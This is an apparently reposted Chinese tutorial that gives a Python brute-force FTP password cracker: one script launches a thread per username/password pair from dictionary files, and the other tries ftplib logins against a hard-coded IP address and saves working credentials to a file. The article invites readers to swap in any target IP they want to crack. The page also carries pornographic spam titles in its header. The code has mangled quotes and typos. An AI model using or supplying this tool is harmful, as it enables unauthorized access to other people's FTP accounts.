国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Python > 正文

python編寫暴力破解FTP密碼小工具

2020-02-23 06:11:16
字體:
來源:轉載
供稿:網友

python具體強大的庫文件,很多功能都有相應的庫文件,所以很有必要進行學習一下,其中有一個ftp相應的庫文件ftplib,我們只需要其中的登錄功能,然后利用多線程調用相應字典里面的字段進行登錄,還能根據自己的需要,根據自身的情況編寫需要的程序,讓程序代替我們去做一些枯燥的重復工作。

下面直接上代碼,下面是主文件

代碼如下:
import os
import time
import threading

class mythread(threading.Thread):
def __init__(self,command):
threading.Thread.__init__(self)
self.command=command
def run(self):
kk=os.system(self.command)
ushand=open(“user.txt”,”r”)
pshand=open(“passwd.txt”,”r”)
listuser=[]
listpass=[]
for us in open(“user.txt”,”r”):
lineus=ushand.readline().strip(‘/n')
listuser.append(lineus)
for ps in open(“passwd.txt”,”r”):
lineps=pshand.readline().strip(‘/n')
listpass.append(lineps)
for i in listuser:
for j in listpass:
command=”ftp.py %s %s” %(i,j)
print command
my_thread=mythread(command)
my_thread.start()
time.sleep(0.1)

相應的ftp.py文件里面的代碼如下

代碼如下:
import ftplib
import socket
import sys
ftp=ftplib.FTP('121.54.175.204′)
try:
user=sys.argv[1]
passwd=sys.argv[2]
ftp.login(user,passwd)
hand=open(‘aa.txt','a+')
hand.write(user+”:”+passwd+”/n”)
except ftplib.error_perm:
print “passwd is world”

由于插不近格式,里面的縮進的什么的得自己手動再調節一下

需要兩個文件,分別是user.txt和passwd.txt,這兩個分別是用戶名和賬戶的字典。

代碼其中的ftp破解IP可以自己修改成自己要破解的IP,最后正確的帳號和密碼會輸入到aa.txt文件中。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 西宁市| 麦盖提县| 于田县| 雷山县| 漳平市| 崇礼县| 南昌县| 滨州市| 天祝| 玉门市| 化德县| 广饶县| 营山县| 邵武市| 汉阴县| 五峰| 高密市| 新晃| 临洮县| 原平市| 仁怀市| 香港| 瑞丽市| 温泉县| 庆阳市| 霍邱县| 新闻| 思茅市| 寿阳县| 荔波县| 绥中县| 金门县| 合作市| 浏阳市| 方山县| 阿拉善左旗| 龙陵县| 清水河县| 仪陇县| 山西省| 客服|